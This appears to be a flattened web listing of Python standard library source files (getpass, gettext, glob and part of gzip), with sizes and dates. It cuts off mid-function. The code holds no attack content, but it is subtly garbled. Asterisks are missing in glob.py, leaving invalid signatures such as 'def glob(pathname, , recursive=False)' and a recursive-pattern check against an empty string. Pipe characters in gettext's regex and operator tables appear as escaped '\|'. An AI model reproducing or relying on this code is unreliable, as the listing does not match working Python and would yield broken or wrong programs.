stream.flush() # issue7208 except termios.error: if passwd is not None: # _raw_input succeeded. The final tcsetattr failed. Reraise # instead of leaving the terminal in an unknown state. raise # We can't control the tty or stdin. Give up and use normal IO. # fallback_getpass() raises an appropriate warning. if stream is not input: # clean up unused file objects before blocking stack.close() passwd = fallback_getpass(prompt, stream) stream.write('\n') return passwd def win_getpass(prompt='Password: ', stream=None): """Prompt for password with echo off, using Windows getch().""" if sys.stdin is not sys.__stdin__: return fallback_getpass(prompt, stream) for c in prompt: msvcrt.putwch(c) pw = "" while 1: c = msvcrt.getwch() if c == '\r' or c == '\n': break if c == '\003': raise KeyboardInterrupt if c == '\b': pw = pw[:-1] else: pw = pw + c msvcrt.putwch('\r') msvcrt.putwch('\n') return pw def fallback_getpass(prompt='Password: ', stream=None): warnings.warn("Can not control echo on the terminal.", GetPassWarning, stacklevel=2) if not stream: stream = sys.stderr print("Warning: Password input may be echoed.", file=stream) return _raw_input(prompt, stream) def _raw_input(prompt="", stream=None, input=None): # This doesn't save the string in the GNU readline history. if not stream: stream = sys.stderr if not input: input = sys.stdin prompt = str(prompt) if prompt: try: stream.write(prompt) except UnicodeEncodeError: # Use replace error handler to get as much as possible printed. prompt = prompt.encode(stream.encoding, 'replace') prompt = prompt.decode(stream.encoding) stream.write(prompt) stream.flush() # NOTE: The Python C API calls flockfile() (and unlock) during readline. line = input.readline() if not line: raise EOFError if line[-1] == '\n': line = line[:-1] return line def getuser(): """Get the username from the environment or password database. First try various environment variables, then the password database. This works on Windows as long as USERNAME is set. """ for name in ('LOGNAME', 'USER', 'LNAME', 'USERNAME'): user = os.environ.get(name) if user: return user # If this fails, the exception will "explain" why import pwd return pwd.getpwuid(os.getuid())[0] # Bind the name getpass to the appropriate function try: import termios # it's possible there is an incompatible termios from the # McMillan Installer, make sure we have a UNIX-compatible termios termios.tcgetattr, termios.tcsetattr except (ImportError, AttributeError): try: import msvcrt except ImportError: getpass = fallback_getpass else: getpass = win_getpass else: getpass = unix_getpass	5.85 KB	2024-04-17 17:55
📄 gettext.py """Internationalization and localization support. This module provides internationalization (I18N) and localization (L10N) support for your Python programs by providing an interface to the GNU gettext message catalog library. I18N refers to the operation by which a program is made aware of multiple languages. L10N refers to the adaptation of your program, once internationalized, to the local language and cultural habits. """ # This module represents the integration of work, contributions, feedback, and # suggestions from the following people: # # Martin von Loewis, who wrote the initial implementation of the underlying # C-based libintlmodule (later renamed _gettext), along with a skeletal # gettext.py implementation. # # Peter Funk, who wrote fintl.py, a fairly complete wrapper around intlmodule, # which also included a pure-Python implementation to read .mo files if # intlmodule wasn't available. # # James Henstridge, who also wrote a gettext.py module, which has some # interesting, but currently unsupported experimental features: the notion of # a Catalog class and instances, and the ability to add to a catalog file via # a Python API. # # Barry Warsaw integrated these modules, wrote the .install() API and code, # and conformed all C and Python code to Python's coding standards. # # Francois Pinard and Marc-Andre Lemburg also contributed valuably to this # module. # # J. David Ibanez implemented plural forms. Bruno Haible fixed some bugs. # # TODO: # - Lazy loading of .mo files. Currently the entire catalog is loaded into # memory, but that's probably bad for large translated programs. Instead, # the lexical sort of original strings in GNU .mo files should be exploited # to do binary searches and lazy initializations. Or you might want to use # the undocumented double-hash algorithm for .mo files with hash tables, but # you'll need to study the GNU gettext code to do this. # # - Support Solaris .mo file formats. Unfortunately, we've been unable to # find this format documented anywhere. import locale import os import re import sys __all__ = ['NullTranslations', 'GNUTranslations', 'Catalog', 'find', 'translation', 'install', 'textdomain', 'bindtextdomain', 'bind_textdomain_codeset', 'dgettext', 'dngettext', 'gettext', 'lgettext', 'ldgettext', 'ldngettext', 'lngettext', 'ngettext', ] _default_localedir = os.path.join(sys.base_prefix, 'share', 'locale') # Expression parsing for plural form selection. # # The gettext library supports a small subset of C syntax. The only # incompatible difference is that integer literals starting with zero are # decimal. # # https://www.gnu.org/software/gettext/manual/gettext.html#Plural-forms # http://git.savannah.gnu.org/cgit/gettext.git/tree/gettext-runtime/intl/plural.y _token_pattern = re.compile(r""" (?P<WHITESPACES>[ \t]+) \| # spaces and horizontal tabs (?P<NUMBER>[0-9]+\b) \| # decimal integer (?P<NAME>n\b) \| # only n is allowed (?P<PARENTHESIS>[()]) \| (?P<OPERATOR>[-/%+?:]\|[><!]=?\|==\|&&\|\\|\\|) \| # !, , /, %, +, -, <, >, # <=, >=, ==, !=, &&, \|\|, # ? : # unary and bitwise ops # not allowed (?P<INVALID>\w+\|.) # invalid token """, re.VERBOSE\|re.DOTALL) def _tokenize(plural): for mo in re.finditer(_token_pattern, plural): kind = mo.lastgroup if kind == 'WHITESPACES': continue value = mo.group(kind) if kind == 'INVALID': raise ValueError('invalid token in plural form: %s' % value) yield value yield '' def _error(value): if value: return ValueError('unexpected token in plural form: %s' % value) else: return ValueError('unexpected end of plural form') _binary_ops = ( ('\|\|',), ('&&',), ('==', '!='), ('<', '>', '<=', '>='), ('+', '-'), ('*', '/', '%'), ) _binary_ops = {op: i for i, ops in enumerate(_binary_ops, 1) for op in ops} _c2py_ops = {'\|\|': 'or', '&&': 'and', '/': '//'} def _parse(tokens, priority=-1): result = '' nexttok = next(tokens) while nexttok == '!': result += 'not ' nexttok = next(tokens) if nexttok == '(': sub, nexttok = _parse(tokens) result = '%s(%s)' % (result, sub) if nexttok != ')': raise ValueError('unbalanced parenthesis in plural form') elif nexttok == 'n': result = '%s%s' % (result, nexttok) else: try: value = int(nexttok, 10) except ValueError: raise _error(nexttok) from None result = '%s%d' % (result, value) nexttok = next(tokens) j = 100 while nexttok in _binary_ops: i = _binary_ops[nexttok] if i < priority: break # Break chained comparisons if i in (3, 4) and j in (3, 4): # '==', '!=', '<', '>', '<=', '>=' result = '(%s)' % result # Replace some C operators by their Python equivalents op = _c2py_ops.get(nexttok, nexttok) right, nexttok = _parse(tokens, i + 1) result = '%s %s %s' % (result, op, right) j = i if j == priority == 4: # '<', '>', '<=', '>=' result = '(%s)' % result if nexttok == '?' and priority <= 0: if_true, nexttok = _parse(tokens, 0) if nexttok != ':': raise _error(nexttok) if_false, nexttok = _parse(tokens) result = '%s if %s else %s' % (if_true, result, if_false) if priority == 0: result = '(%s)' % result return result, nexttok def _as_int(n): try: i = round(n) except TypeError: raise TypeError('Plural value must be an integer, got %s' % (n.__class__.__name__,)) from None import warnings warnings.warn('Plural value must be an integer, got %s' % (n.__class__.__name__,), DeprecationWarning, 4) return n def c2py(plural): """Gets a C expression as used in PO files for plural forms and returns a Python function that implements an equivalent expression. """ if len(plural) > 1000: raise ValueError('plural form expression is too long') try: result, nexttok = _parse(_tokenize(plural)) if nexttok: raise _error(nexttok) depth = 0 for c in result: if c == '(': depth += 1 if depth > 20: # Python compiler limit is about 90. # The most complex example has 2. raise ValueError('plural form expression is too complex') elif c == ')': depth -= 1 ns = {'_as_int': _as_int} exec('''if True: def func(n): if not isinstance(n, int): n = _as_int(n) return int(%s) ''' % result, ns) return ns['func'] except RecursionError: # Recursion error can be raised in _parse() or exec(). raise ValueError('plural form expression is too complex') def _expand_lang(loc): loc = locale.normalize(loc) COMPONENT_CODESET = 1 << 0 COMPONENT_TERRITORY = 1 << 1 COMPONENT_MODIFIER = 1 << 2 # split up the locale into its base components mask = 0 pos = loc.find('@') if pos >= 0: modifier = loc[pos:] loc = loc[:pos] mask \|= COMPONENT_MODIFIER else: modifier = '' pos = loc.find('.') if pos >= 0: codeset = loc[pos:] loc = loc[:pos] mask \|= COMPONENT_CODESET else: codeset = '' pos = loc.find('_') if pos >= 0: territory = loc[pos:] loc = loc[:pos] mask \|= COMPONENT_TERRITORY else: territory = '' language = loc ret = [] for i in range(mask+1): if not (i & ~mask): # if all components for this combo exist ... val = language if i & COMPONENT_TERRITORY: val += territory if i & COMPONENT_CODESET: val += codeset if i & COMPONENT_MODIFIER: val += modifier ret.append(val) ret.reverse() return ret class NullTranslations: def __init__(self, fp=None): self._info = {} self._charset = None self._output_charset = None self._fallback = None if fp is not None: self._parse(fp) def _parse(self, fp): pass def add_fallback(self, fallback): if self._fallback: self._fallback.add_fallback(fallback) else: self._fallback = fallback def gettext(self, message): if self._fallback: return self._fallback.gettext(message) return message def lgettext(self, message): if self._fallback: return self._fallback.lgettext(message) if self._output_charset: return message.encode(self._output_charset) return message.encode(locale.getpreferredencoding()) def ngettext(self, msgid1, msgid2, n): if self._fallback: return self._fallback.ngettext(msgid1, msgid2, n) if n == 1: return msgid1 else: return msgid2 def lngettext(self, msgid1, msgid2, n): if self._fallback: return self._fallback.lngettext(msgid1, msgid2, n) if n == 1: tmsg = msgid1 else: tmsg = msgid2 if self._output_charset: return tmsg.encode(self._output_charset) return tmsg.encode(locale.getpreferredencoding()) def info(self): return self._info def charset(self): return self._charset def output_charset(self): return self._output_charset def set_output_charset(self, charset): self._output_charset = charset def install(self, names=None): import builtins builtins.__dict__['_'] = self.gettext if hasattr(names, "__contains__"): if "gettext" in names: builtins.__dict__['gettext'] = builtins.__dict__['_'] if "ngettext" in names: builtins.__dict__['ngettext'] = self.ngettext if "lgettext" in names: builtins.__dict__['lgettext'] = self.lgettext if "lngettext" in names: builtins.__dict__['lngettext'] = self.lngettext class GNUTranslations(NullTranslations): # Magic number of .mo files LE_MAGIC = 0x950412de BE_MAGIC = 0xde120495 # Acceptable .mo versions VERSIONS = (0, 1) def _get_versions(self, version): """Returns a tuple of major version, minor version""" return (version >> 16, version & 0xffff) def _parse(self, fp): """Override this method to support alternative .mo formats.""" # Delay struct import for speeding up gettext import when .mo files # are not used. from struct import unpack filename = getattr(fp, 'name', '') # Parse the .mo file header, which consists of 5 little endian 32 # bit words. self._catalog = catalog = {} self.plural = lambda n: int(n != 1) # germanic plural by default buf = fp.read() buflen = len(buf) # Are we big endian or little endian? magic = unpack('<I', buf[:4])[0] if magic == self.LE_MAGIC: version, msgcount, masteridx, transidx = unpack('<4I', buf[4:20]) ii = '<II' elif magic == self.BE_MAGIC: version, msgcount, masteridx, transidx = unpack('>4I', buf[4:20]) ii = '>II' else: raise OSError(0, 'Bad magic number', filename) major_version, minor_version = self._get_versions(version) if major_version not in self.VERSIONS: raise OSError(0, 'Bad version number ' + str(major_version), filename) # Now put all messages from the .mo file buffer into the catalog # dictionary. for i in range(0, msgcount): mlen, moff = unpack(ii, buf[masteridx:masteridx+8]) mend = moff + mlen tlen, toff = unpack(ii, buf[transidx:transidx+8]) tend = toff + tlen if mend < buflen and tend < buflen: msg = buf[moff:mend] tmsg = buf[toff:tend] else: raise OSError(0, 'File is corrupt', filename) # See if we're looking at GNU .mo conventions for metadata if mlen == 0: # Catalog description lastk = None for b_item in tmsg.split(b'\n'): item = b_item.decode().strip() if not item: continue k = v = None if ':' in item: k, v = item.split(':', 1) k = k.strip().lower() v = v.strip() self._info[k] = v lastk = k elif lastk: self._info[lastk] += '\n' + item if k == 'content-type': self._charset = v.split('charset=')[1] elif k == 'plural-forms': v = v.split(';') plural = v[1].split('plural=')[1] self.plural = c2py(plural) # Note: we unconditionally convert both msgids and msgstrs to # Unicode using the character encoding specified in the charset # parameter of the Content-Type header. The gettext documentation # strongly encourages msgids to be us-ascii, but some applications # require alternative encodings (e.g. Zope's ZCML and ZPT). For # traditional gettext applications, the msgid conversion will # cause no problems since us-ascii should always be a subset of # the charset encoding. We may want to fall back to 8-bit msgids # if the Unicode conversion fails. charset = self._charset or 'ascii' if b'\x00' in msg: # Plural forms msgid1, msgid2 = msg.split(b'\x00') tmsg = tmsg.split(b'\x00') msgid1 = str(msgid1, charset) for i, x in enumerate(tmsg): catalog[(msgid1, i)] = str(x, charset) else: catalog[str(msg, charset)] = str(tmsg, charset) # advance to next entry in the seek tables masteridx += 8 transidx += 8 def lgettext(self, message): missing = object() tmsg = self._catalog.get(message, missing) if tmsg is missing: if self._fallback: return self._fallback.lgettext(message) tmsg = message if self._output_charset: return tmsg.encode(self._output_charset) return tmsg.encode(locale.getpreferredencoding()) def lngettext(self, msgid1, msgid2, n): try: tmsg = self._catalog[(msgid1, self.plural(n))] except KeyError: if self._fallback: return self._fallback.lngettext(msgid1, msgid2, n) if n == 1: tmsg = msgid1 else: tmsg = msgid2 if self._output_charset: return tmsg.encode(self._output_charset) return tmsg.encode(locale.getpreferredencoding()) def gettext(self, message): missing = object() tmsg = self._catalog.get(message, missing) if tmsg is missing: if self._fallback: return self._fallback.gettext(message) return message return tmsg def ngettext(self, msgid1, msgid2, n): try: tmsg = self._catalog[(msgid1, self.plural(n))] except KeyError: if self._fallback: return self._fallback.ngettext(msgid1, msgid2, n) if n == 1: tmsg = msgid1 else: tmsg = msgid2 return tmsg # Locate a .mo file using the gettext strategy def find(domain, localedir=None, languages=None, all=False): # Get some reasonable defaults for arguments that were not supplied if localedir is None: localedir = _default_localedir if languages is None: languages = [] for envar in ('LANGUAGE', 'LC_ALL', 'LC_MESSAGES', 'LANG'): val = os.environ.get(envar) if val: languages = val.split(':') break if 'C' not in languages: languages.append('C') # now normalize and expand the languages nelangs = [] for lang in languages: for nelang in _expand_lang(lang): if nelang not in nelangs: nelangs.append(nelang) # select a language if all: result = [] else: result = None for lang in nelangs: if lang == 'C': break mofile = os.path.join(localedir, lang, 'LC_MESSAGES', '%s.mo' % domain) if os.path.exists(mofile): if all: result.append(mofile) else: return mofile return result # a mapping between absolute .mo file path and Translation object _translations = {} def translation(domain, localedir=None, languages=None, class_=None, fallback=False, codeset=None): if class_ is None: class_ = GNUTranslations mofiles = find(domain, localedir, languages, all=True) if not mofiles: if fallback: return NullTranslations() from errno import ENOENT raise FileNotFoundError(ENOENT, 'No translation file found for domain', domain) # Avoid opening, reading, and parsing the .mo file after it's been done # once. result = None for mofile in mofiles: key = (class_, os.path.abspath(mofile)) t = _translations.get(key) if t is None: with open(mofile, 'rb') as fp: t = _translations.setdefault(key, class_(fp)) # Copy the translation object to allow setting fallbacks and # output charset. All other instance data is shared with the # cached object. # Delay copy import for speeding up gettext import when .mo files # are not used. import copy t = copy.copy(t) if codeset: t.set_output_charset(codeset) if result is None: result = t else: result.add_fallback(t) return result def install(domain, localedir=None, codeset=None, names=None): t = translation(domain, localedir, fallback=True, codeset=codeset) t.install(names) # a mapping b/w domains and locale directories _localedirs = {} # a mapping b/w domains and codesets _localecodesets = {} # current global domain, `messages' used for compatibility w/ GNU gettext _current_domain = 'messages' def textdomain(domain=None): global _current_domain if domain is not None: _current_domain = domain return _current_domain def bindtextdomain(domain, localedir=None): global _localedirs if localedir is not None: _localedirs[domain] = localedir return _localedirs.get(domain, _default_localedir) def bind_textdomain_codeset(domain, codeset=None): global _localecodesets if codeset is not None: _localecodesets[domain] = codeset return _localecodesets.get(domain) def dgettext(domain, message): try: t = translation(domain, _localedirs.get(domain, None), codeset=_localecodesets.get(domain)) except OSError: return message return t.gettext(message) def ldgettext(domain, message): codeset = _localecodesets.get(domain) try: t = translation(domain, _localedirs.get(domain, None), codeset=codeset) except OSError: return message.encode(codeset or locale.getpreferredencoding()) return t.lgettext(message) def dngettext(domain, msgid1, msgid2, n): try: t = translation(domain, _localedirs.get(domain, None), codeset=_localecodesets.get(domain)) except OSError: if n == 1: return msgid1 else: return msgid2 return t.ngettext(msgid1, msgid2, n) def ldngettext(domain, msgid1, msgid2, n): codeset = _localecodesets.get(domain) try: t = translation(domain, _localedirs.get(domain, None), codeset=codeset) except OSError: if n == 1: tmsg = msgid1 else: tmsg = msgid2 return tmsg.encode(codeset or locale.getpreferredencoding()) return t.lngettext(msgid1, msgid2, n) def gettext(message): return dgettext(_current_domain, message) def lgettext(message): return ldgettext(_current_domain, message) def ngettext(msgid1, msgid2, n): return dngettext(_current_domain, msgid1, msgid2, n) def lngettext(msgid1, msgid2, n): return ldngettext(_current_domain, msgid1, msgid2, n) # dcgettext() has been deemed unnecessary and is not implemented. # James Henstridge's Catalog constructor from GNOME gettext. Documented usage # was: # # import gettext # cat = gettext.Catalog(PACKAGE, localedir=LOCALEDIR) # _ = cat.gettext # print _('Hello World') # The resulting catalog object currently don't support access through a # dictionary API, which was supported (but apparently unused) in GNOME # gettext. Catalog = translation	21.45 KB	2024-04-17 17:55
📄 glob.py """Filename globbing utility.""" import os import re import fnmatch __all__ = ["glob", "iglob", "escape"] def glob(pathname, , recursive=False): """Return a list of paths matching a pathname pattern. The pattern may contain simple shell-style wildcards a la fnmatch. However, unlike fnmatch, filenames starting with a dot are special cases that are not matched by '' and '?' patterns. If recursive is true, the pattern '*' will match any files and zero or more directories and subdirectories. """ return list(iglob(pathname, recursive=recursive)) def iglob(pathname, , recursive=False): """Return an iterator which yields the paths matching a pathname pattern. The pattern may contain simple shell-style wildcards a la fnmatch. However, unlike fnmatch, filenames starting with a dot are special cases that are not matched by '' and '?' patterns. If recursive is true, the pattern '' will match any files and zero or more directories and subdirectories. """ it = _iglob(pathname, recursive, False) if recursive and _isrecursive(pathname): s = next(it) # skip empty string assert not s return it def _iglob(pathname, recursive, dironly): dirname, basename = os.path.split(pathname) if not has_magic(pathname): assert not dironly if basename: if os.path.lexists(pathname): yield pathname else: # Patterns ending with a slash should match only directories if os.path.isdir(dirname): yield pathname return if not dirname: if recursive and _isrecursive(basename): yield from _glob2(dirname, basename, dironly) else: yield from _glob1(dirname, basename, dironly) return # `os.path.split()` returns the argument itself as a dirname if it is a # drive or UNC path. Prevent an infinite recursion if a drive or UNC path # contains magic characters (i.e. r'\\?\C:'). if dirname != pathname and has_magic(dirname): dirs = _iglob(dirname, recursive, True) else: dirs = [dirname] if has_magic(basename): if recursive and _isrecursive(basename): glob_in_dir = _glob2 else: glob_in_dir = _glob1 else: glob_in_dir = _glob0 for dirname in dirs: for name in glob_in_dir(dirname, basename, dironly): yield os.path.join(dirname, name) # These 2 helper functions non-recursively glob inside a literal directory. # They return a list of basenames. _glob1 accepts a pattern while _glob0 # takes a literal basename (so it only has to check for its existence). def _glob1(dirname, pattern, dironly): names = list(_iterdir(dirname, dironly)) if not _ishidden(pattern): names = (x for x in names if not _ishidden(x)) return fnmatch.filter(names, pattern) def _glob0(dirname, basename, dironly): if not basename: # `os.path.split()` returns an empty basename for paths ending with a # directory separator. 'qx/' should match only directories. if os.path.isdir(dirname): return [basename] else: if os.path.lexists(os.path.join(dirname, basename)): return [basename] return [] # Following functions are not public but can be used by third-party code. def glob0(dirname, pattern): return _glob0(dirname, pattern, False) def glob1(dirname, pattern): return _glob1(dirname, pattern, False) # This helper function recursively yields relative pathnames inside a literal # directory. def _glob2(dirname, pattern, dironly): assert _isrecursive(pattern) yield pattern[:0] yield from _rlistdir(dirname, dironly) # If dironly is false, yields all file names inside a directory. # If dironly is true, yields only directory names. def _iterdir(dirname, dironly): if not dirname: if isinstance(dirname, bytes): dirname = bytes(os.curdir, 'ASCII') else: dirname = os.curdir try: with os.scandir(dirname) as it: for entry in it: try: if not dironly or entry.is_dir(): yield entry.name except OSError: pass except OSError: return # Recursively yields relative pathnames inside a literal directory. def _rlistdir(dirname, dironly): names = list(_iterdir(dirname, dironly)) for x in names: if not _ishidden(x): yield x path = os.path.join(dirname, x) if dirname else x for y in _rlistdir(path, dironly): yield os.path.join(x, y) magic_check = re.compile('([?[])') magic_check_bytes = re.compile(b'([?[])') def has_magic(s): if isinstance(s, bytes): match = magic_check_bytes.search(s) else: match = magic_check.search(s) return match is not None def _ishidden(path): return path[0] in ('.', b'.'[0]) def _isrecursive(pattern): if isinstance(pattern, bytes): return pattern == b'' else: return pattern == '' def escape(pathname): """Escape all special characters. """ # Escaping is done by wrapping any of "*?[" between square brackets. # Metacharacters do not work in the drive part and shouldn't be escaped. drive, pathname = os.path.splitdrive(pathname) if isinstance(pathname, bytes): pathname = magic_check_bytes.sub(br'[\1]', pathname) else: pathname = magic_check.sub(r'[\1]', pathname) return drive + pathname	5.51 KB	2024-04-17 17:55
📄 gzip.py """Functions that read and write gzipped files. The user of the file doesn't have to worry about the compression, but random access is not allowed.""" # based on Andrew Kuchling's minigzip.py distributed with the zlib module import struct, sys, time, os import zlib import builtins import io import _compression __all__ = ["GzipFile", "open", "compress", "decompress"] FTEXT, FHCRC, FEXTRA, FNAME, FCOMMENT = 1, 2, 4, 8, 16 READ, WRITE = 1, 2 _COMPRESS_LEVEL_FAST = 1 _COMPRESS_LEVEL_TRADEOFF = 6 _COMPRESS_LEVEL_BEST = 9 def open(filename, mode="rb", compresslevel=9, encoding=None, errors=None, newline=None): """Open a gzip-compressed file in binary or text mode. The filename argument can be an actual filename (a str or bytes object), or an existing file object to read from or write to. The mode argument can be "r", "rb", "w", "wb", "x", "xb", "a" or "ab" for binary mode, or "rt", "wt", "xt" or "at" for text mode. The default mode is "rb", and the default compresslevel is 9. For binary mode, this function is equivalent to the GzipFile constructor: GzipFile(filename, mode, compresslevel). In this case, the encoding, errors and newline arguments must not be provided. For text mode, a GzipFile object is created, and wrapped in an io.TextIOWrapper instance with the specified encoding, error handling behavior, and line ending(s). """ if "t" in mode: if "b" in mode: raise ValueError("Invalid mode: %r" % (mode,)) else: if encoding is not None: raise ValueError("Argument 'encoding' not supported in binary mode") if errors is not None: raise ValueError("Argument 'errors' not supported in binary mode") if newline is not None: raise ValueError("Argument 'newline' not supported in binary mode") gz_mode = mode.replace("t", "") if isinstance(filename, (str, bytes, os.PathLike)): binary_file = GzipFile(filename, gz_mode, compresslevel) elif hasattr(filename, "read") or hasattr(filename, "write"): binary_file = GzipFile(None, gz_mode, compresslevel, filename) else: raise TypeError("filename must be a str or bytes object, or a file") if "t" in mode: return io.TextIOWrapper(binary_file, encoding, errors, newline) else: return binary_file def write32u(output, value): # The L format writes the bit pattern correctly whether signed # or unsigned. output.write(struct.pack("<L", value)) class _PaddedFile: """Minimal read-only file object that prepends a string to the contents of an actual file. Shouldn't be used outside of gzip.py, as it lacks essential functionality.""" def __init__(self, f, prepend=b''): self._buffer = prepend self._length = len(prepend) self.file = f self._read = 0 def read(self, size): if self._read is None: return self.file.read(size) if self._read + size <= self._length: read = self._read self._read += size return self._buffer[read:self._read] else: read = self._read self._read = None return self._buffer[read:] + \ self.file.read(size-self._length+read) def prepend(self, prepend=b''): if self._read is None: self._buffer = prepend else: # Assume data was read since the last prepend() call self._read -= len(prepend) return self._length = len(self._buffer) self._read = 0 def seek(self, off): self._read = None self._buffer = None return self.file.seek(off) def seekable(self): return True # Allows fast-forwarding even in unseekable streams class GzipFile(_compression.BaseStream): """The GzipFile class simulates most of the methods of a file object with the exception of the truncate() method. This class only supports opening files in binary mode. If you need to open a compressed file in text mode, use the gzip.open() function. """ # Overridden with internal file object to be closed, if only a filename # is passed in myfileobj = None def __init__(self, filename=None, mode=None, compresslevel=9, fileobj=None, mtime=None): """Constructor for the GzipFile class. At least one of fileobj and filename must be given a non-trivial value. The new class instance is based on fileobj, which can be a regular file, an io.BytesIO object, or any other object which simulates a file. It defaults to None, in which case filename is opened to provide a file object. When fileobj is not None, the filename argument is only used to be included in the gzip file header, which may include the original filename of the uncompressed file. It defaults to the filename of fileobj, if discernible; otherwise, it defaults to the empty string, and in this case the original filename is not included in the header. The mode argument can be any of 'r', 'rb', 'a', 'ab', 'w', 'wb', 'x', or 'xb' depending on whether the file will be read or written. The default is the mode of fileobj if discernible; otherwise, the default is 'rb'. A mode of 'r' is equivalent to one of 'rb', and similarly for 'w' and 'wb', 'a' and 'ab', and 'x' and 'xb'. The compresslevel argument is an integer from 0 to 9 controlling the level of compression; 1 is fastest and produces the least compression, and 9 is slowest and produces the most compression. 0 is no compression at all. The default is 9. The mtime argument is an optional numeric timestamp to be written to the last modification time field in the stream when compressing. If omitted or None, the current time is used. """ if mode and ('t' in mode or 'U' in mode): raise ValueError("Invalid mode: {!r}".format(mode)) if mode and 'b' not in mode: mode += 'b' if fileobj is None: fileobj = self.myfileobj = builtins.open(filename, mode or 'rb') if filename is None: filename = getattr(fileobj, 'name', '') if not isinstance(filename, (str, bytes)): filename = '' else: filename = os.fspath(filename) if mode is None: mode = getattr(fileobj, 'mode', 'rb') if mode.startswith('r'): self.mode = READ raw = _GzipReader(fileobj) self._buffer = io.BufferedReader(raw) self.name = filename elif mode.startswith(('w', 'a', 'x')): self.mode = WRITE self._init_write(filename) self.compress = zlib.compressobj(compresslevel, zlib.DEFLATED, -zlib.MAX_WBITS, zlib.DEF_MEM_LEVEL, 0) self._write_mtime = mtime else: raise ValueError("Invalid mode: {!r}".format(mode)) self.fileobj = fileobj if self.mode == WRITE: self._write_gzip_header(compresslevel) @property def filename(self): import warnings warnings.warn("use the name attribute", DeprecationWarning, 2) if self.mode == WRITE and self.name[-3:] != ".gz": return self.name + ".gz" return self.name @property def mtime(self): """Last modification time read from stream, or None""" return self._buffer.raw._last_mtime def __repr__(self): s = repr(self.fileobj) return '<gzip ' + s[1:-1] + ' ' + hex(id(self)) + '>' def _init_write(self, filename): self.name = filename self.crc = zlib.crc32(b"") self.size = 0 self.writebuf = [] self.bufsize = 0 self.offset = 0 # Current file offset for seek(), tell(), etc def _write_gzip_header(self, compresslevel): self.fileobj.write(b'\037\213') # magic header self.fileobj.write(b'\010') # compression method try: # RFC 1952 requires the FNAME field to be Latin-1. Do not # include filenames that cannot be represented that way. fname = os.path.basename(self.name) if not isinstance(fname, bytes): fname = fname.encode('latin-1') if fname.endswith(b'.gz'): fname = fname[:-3] except UnicodeEncodeError: fname = b'' flags = 0 if fname: flags = FNAME self.fileobj.write(chr(flags).encode('latin-1')) mtime = self._write_mtime if mtime is None: mtime = time.time() write32u(self.fileobj, int(mtime)) if compresslevel == _COMPRESS_LEVEL_BEST: xfl = b'\002' elif compresslevel == _COMPRESS_LEVEL_FAST: xfl = b'\004' else: xfl = b'\000' self.fileobj.write(xfl) self.fileobj.write(b'\377') if fname: self.fileobj.write(fname + b'\000') def write(self,data): self._check_not_closed() if self.mode != WRITE: import errno raise OSError(errno.EBADF, "write() on read-only GzipFile object") if self.fileobj is None: raise ValueError("write() on closed GzipFile object") if isinstance(data, bytes): length = len(data) else: # accept any data that supports the buffer protocol data = memoryview(data) length = data.nbytes if length > 0: self.fileobj.write(self.compress.compress(data)) self.size += length self.crc = zlib.crc32(data, self.crc) self.offset += length return length def read(self, size=-1): self._check_not_closed() if self.mode != READ: import errno raise OSError(errno.EBADF, "read() on write-only GzipFile object") return self._buffer.read(size) def read1(self, size=-1): """Implements BufferedIOBase.read1() Reads up to a buffer's worth of data is size is negative.""" self._check_not_closed() if self.mode != READ: import errno raise OSError(errno.EBADF, "read1() on write-only GzipFile object") if size < 0: size = io.DEFAULT_BUFFER_SIZE return self._buffer.read1(size) def peek(self, n): self._check_not_closed() if self.mode != READ: import errno raise OSError(errno.EBADF, "peek() on write-only GzipFile object") return self._buffer.peek(n) @property def closed(self): return self.fileobj is None def close(self): fileobj = self.fileobj if fileobj is None: return self.fileobj = None try: if self.mode == WRITE: fileobj.write(self.compress.flush()) write32u(fileobj, self.crc) # self.size may exceed 2 GiB, or even 4 GiB write32u(fileobj, self.size & 0xffffffff) elif self.mode == READ: self._buffer.close() finally: myfileobj = self.myfileobj if myfileobj: self.myfileobj = None myfileobj.close() def flush(self,zlib_mode=zlib.Z_SYNC_FLUSH): self._check_not_closed() if self.mode == WRITE: # Ensure the compressor's buffer is flushed self.fileobj.write(self.compress.flush(zlib_mode)) self.fileobj.flush() def fileno(self): """Invoke the underlying file object's fileno() method. This will raise AttributeError if the underlying file object doesn't support fileno(). """ return self.fileobj.fileno() def rewind(self): '''Return the uncompressed stream file position indicator to the beginning of the file''' if self.mode != READ: raise OSError("Can't rewind in write mode") self._buffer.seek(0) def readable(self): return self.mode == READ def writable(self): return self.mode == WRITE def seekable(self): return True def seek(self, offset, whence=io.SEEK_SET): if self.mode == WRITE: if whence != io.SEEK_SET: if whence == io.SEEK_CUR: offset = self.offset + offset else: raise ValueError('Seek from end not supported') if offset < self.offset: raise OSError('Negative seek in write mode') count = offset - self.offset chunk = b'\0' * 1024 for i in range(count // 1024): self.write(chunk) self.write(b'\0' * (count % 1024)) elif self.mode == READ: self._check_not_closed() return self._buffer.seek(offset, whence) return self.offset def readline(self, size=-1): self._check_not_closed() return self._buffer.readline(size) class _GzipReader(_compression.DecompressReader): def __init__(self, fp): super().__init__(_PaddedFile(fp), zlib.decompressobj, wbits=-zlib.MAX_WBITS) # Set flag indicating start of a new member self._new_member = True self._last_mtime = None def _init_read(self): self._crc = zlib.crc32(b"") self._stream_size = 0 # Decompressed size of unconcatenated stream def _read_exact(self, n): '''Read exactly n bytes from `self._fp` This method is required because self._fp may be unbuffered, i.e. return short reads. ''' data = self._fp.read(n) while len(data) < n: b = self._fp.read(n - len(data)) if not b: raise EOFError("Compressed file ended before the " "end-of-stream marker was reached") data += b return data def _read_gzip_header(self): magic = self._fp.read(2) if magic == b'': return False if magic != b'\037\213': raise OSError('Not a gzipped file (%r)' % magic) (method, flag, self._last_mtime) = struct.unpack("<BBIxx", self._read_exact(8)) if method != 8: raise OSError('Unknown compression method') if flag & FEXTRA: # Read & discard the extra field, if present extra_len, = struct.unpack("<H", self._read_exact(2)) self._read_exact(extra_len) if flag & FNAME: # Read and discard a null-terminated string containing the filename while True: s = self._fp.read(1) if not s or s==b'\000': break if flag & FCOMMENT: # Read and discard a null-terminated string containing a comment while True: s = self._fp.read(1) if not s or s==b'\000': break if flag & FHCRC: self._read_exact(2) # Read & discard the 16-bit header CRC return True def read(self, size=-1): if size < 0: return self.readall() # size=0 is special because decompress(max_length=0) is not supported if not size: return b"" # For certain input data, a single # call to decompress() may not return # any data. In this case, retry until we get some data or reach EOF. while True: if self._decompressor.eof: # Ending case: we've come to the end of a member in the file, # so finish up this member, and read a new gzip header. # Check the CRC and file size, and set the flag so we read # a new member self._read_eof() self._new_member = True self._decompressor = self._decomp_factory( self._decomp_args) if self._new_member: # If the _new_member flag is set, we have to # jump to the next member, if there is one. self._init_read() if not self._read_gzip_header(): self._size = self._pos return 